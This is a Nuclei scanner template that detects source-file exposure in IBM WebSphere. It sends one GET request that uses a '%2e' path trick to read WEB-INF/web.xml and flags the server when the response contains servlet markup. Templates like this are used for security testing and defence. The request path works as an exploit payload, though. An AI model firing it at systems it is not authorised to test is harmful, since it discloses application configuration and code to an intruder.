id: ibm-websphere-xml

info:
  name: IBM WebSphere Application - Source File Exposure
  author: r3nz0
  severity: medium
  description: |
    Disclose application specific files contained within the war file, including files under the web-inf and meta-inf directories.
  reference:
    - https://www.acunetix.com/vulnerabilities/web/ibm-websphere-weblogic-application-source-file-exposure/
  classification:
    cwe-id: CWE-219
  metadata:
    verified: true
    max-request: 1
  tags: ibm,websphere,exposure,misconfig,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/iojs/%2e/WEB-INF/web.xml"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</web-app>"
          - "<servlet>"
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022100b3654c772f129cda884cba23dbdd6eceb67cf2da3b40b756dd8682590ce9f9c0022069ed91c641be331ef9ddc01e45ca2dde398ac6926fd8284a77f66572a5a1f99e:922c64590222798bb761d5b6d8e72950